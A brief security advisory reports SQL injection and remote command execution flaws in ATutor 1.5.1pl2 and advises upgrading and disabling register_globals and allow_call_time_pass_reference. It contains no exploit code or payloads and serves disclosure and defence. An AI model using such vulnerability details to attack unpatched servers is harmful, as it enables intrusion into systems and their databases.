ATutor 1.5.1pl2 SQL Injection/remote cmmnds xctn

Atutor 1.5.1 pl2 (possibly prior versions) is vulnerable to SQL injection and remote command execution. An attacker can exploit this vulnerability to execute arbitrary SQL commands in the back-end database and execute arbitrary commands on the server.

Mitigation:

The user should upgrade to the latest version of Atutor. Additionally, the user should ensure that the register_globals and allow_call_time_pass_reference settings are disabled in the php.ini file.
